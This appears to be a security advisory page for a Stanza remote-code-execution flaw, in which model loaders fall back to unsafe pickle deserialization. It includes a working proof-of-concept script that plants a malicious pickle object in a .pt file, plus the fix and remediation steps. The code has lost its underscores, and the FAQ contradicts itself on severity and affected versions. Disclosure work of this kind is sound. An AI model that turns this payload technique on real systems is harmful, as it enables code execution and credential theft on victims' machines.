CVE-2026-54499: Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

Published Jun 19, 2026
·
Updated

Summary

Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weightsonly=True), but automatically falls back to the fully unsafe torch.load(..., weightsonly=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.

An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.

Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.

Details

The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):

python try: data = torch.load(self.filename, lambda storage, loc: storage, weightsonly=True) except UnpicklingError: data = torch.load(self.filename, lambda storage, loc: storage, weightsonly=False)

When weightsonly=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weightsonly=False, which invokes Python's full pickle deserializer and executes any reduce method in the file without restriction.

The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.

The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:

| File | Lines | |------|-------| | stanza/models/common/pretrain.py | 64–66 | | stanza/models/coref/model.py | 251–253, 329–331 | | stanza/models/classifiers/trainer.py | 80–82 | | stanza/models/constituency/basetrainer.py | 94–96 |

Additionally, stanza/models/lemmaclassifier/basemodel.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weightsonly argument at all, which defaults to False on any PyTorch < 2.6.

The call chain from the public API to the vulnerable fallback is:

stanza.models.common.foundationcache.loadpretrain(path) → FoundationCache.loadpretrain(path) → stanza.models.common.pretrain.Pretrain(filename) → Pretrain.emb (property access triggers load) → Pretrain.load() → torch.load(..., weightsonly=True) # raises UnpicklingError → torch.load(..., weightsonly=False) # executes arbitrary pickle

---

PoC

Environment: Python 3.11, stanza==1.12.0, torch==2.12.0

Step 1: Install dependencies: bash pip install stanza==1.12.0 torch==2.12.0

Step 2: Save the following as exploit.py:

python import os from pathlib import Path

import torch import stanza from stanza.models.common.foundationcache import FoundationCache, loadpretrain from stanza.models.common.vocab import VOCABPREFIX

SENTINEL = "/tmp/stanzarceproof" MODEL = "/tmp/stanzamalicious.pt"

class HarmlessPayload: """Demonstrates execution; writes a sentinel file.""" def init(self, path): self.path = path def reduce(self): return (open, (self.path, "w"))

Build a structurally valid Stanza pretrain state dict with the payload embedded. words = VOCABPREFIX + ["hello"] state = { "vocab": { "lang": "", "idx": 0, "cutoff": 0, "lower": False, "id2unit": words, "unit2id": {w: i for i, w in enumerate(words)}, }, "emb": torch.zeros((len(words), 2), dtype=torch.float32), "payload": HarmlessPayload(SENTINEL), # ← the malicious object } torch.save(state, MODEL)

Confirm safe-only load raises UnpicklingError and does NOT create sentinel. try: torch.load(MODEL, lambda s, l: s, weightsonly=True) print("UNEXPECTED: safe load succeeded (no fallback needed)") except Exception as e: print(f"Control: safe load raised {type(e).name} : sentinel exists: {Path(SENTINEL).exists()}")

Load through the real Stanza API. The fallback fires and the sentinel is created. cache = FoundationCache() pretrain = loadpretrain(MODEL, foundationcache=cache)

print(f"stanza={stanza.version} torch={torch.version}") print(f"embshape={tuple(pretrain.emb.shape)}") print(f"sentinelexists={Path(SENTINEL).exists()}") print("VERDICT: ACTUALVULNREALSTANZAPATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN")

Step 3 : Run: bash python exploit.py

Expected output (confirmed): Control: safe load raised UnpicklingError : sentinel exists: False stanza=1.12.0 torch=2.12.0 embshape=(5, 2) sentinelexists=True VERDICT: ACTUALVULNREALSTANZAPATH

The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct torch.load call in the PoC.

---

Impact

Vulnerability class: CWE-502 : Deserialization of Untrusted Data

Who is impacted: Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:

- Developers who run stanza.Pipeline(lang) after downloading models from HuggingFace or GitHub - CI pipelines that automatically refresh Stanza models during builds - Research environments that share pretrain files over shared network storage or model repositories

Attack prerequisites: The attacker must be able to place a malicious .pt pretrain file at a path that Stanza will load. Realistic delivery vectors include: - Compromise of a HuggingFace model repository hosting Stanza pretrain weights - Poisoning of a shared model cache directory (NFS, S3, artifact store) - A malicious pretrain file distributed via a third-party fine-tuning hub or research repo

What an attacker achieves: Arbitrary code execution with the full privileges of the process running stanza.Pipeline(), typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.

Recommended fix:

Remove the unsafe fallback entirely. If weightsonly=True raises UnpicklingError, fail closed:

python try: data = torch.load(self.filename, lambda storage, loc: storage, weightsonly=True) except UnpicklingError as e: raise RuntimeError( f"Refusing to load legacy pretrain file {self.filename!r} with unsafe " "deserialization. Regenerate the file using a trusted Stanza migration tool." ) from e

If legacy NumPy-containing pretrain files must be supported, use PyTorch's addsafeglobals() API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.

Other sources

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(..., weightsonly=True) but fall back to torch.load(..., weightsonly=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.

— MITRE

Affected Software

2 affected componentsFixes available
pip/stanza<=1.12.1
1.12.2
Stanford Stanza Python<1.12.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/stanza to a version that resolves this vulnerability.

    Fixed in 1.12.2
  2. Upgrade

    Upgrade stanza to a version that resolves this vulnerability.

    Fixed in 1.12.2
  3. Compensating control

    If you must handle untrusted Stanza pretrain/model `.pt` files, ensure the model source/path is under the victim's exclusive cryptographic control so an attacker cannot place a malicious `.pt` pretrain file that Stanza will load.

Event History

Jun 19, 2026
Advisory Published
via GitHub·07:35 PM
Data Sourced
via GitHub·07:35 PM
DescriptionSeverityWeaknessAffected Software
Jul 8, 2026
CVE Published
via MITRE·10:23 PM
Data Sourced
via MITRE·10:23 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-54499?

The severity of CVE-2026-54499 is high with a CVSS score of 7.5.

2

How do I fix CVE-2026-54499?

To fix CVE-2026-54499, ensure you are using the latest version of Stanza that addresses the vulnerability.

3

What impact does CVE-2026-54499 have on my system?

CVE-2026-54499 allows for potentially unsafe code execution due to improper handling of PyTorch checkpoint files.

4

What software is affected by CVE-2026-54499?

CVE-2026-54499 affects the Stanza software version 1.12.0.

5

Is CVE-2026-54499 a critical vulnerability?

CVE-2026-54499 is considered critical due to its potential for executing arbitrary code.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203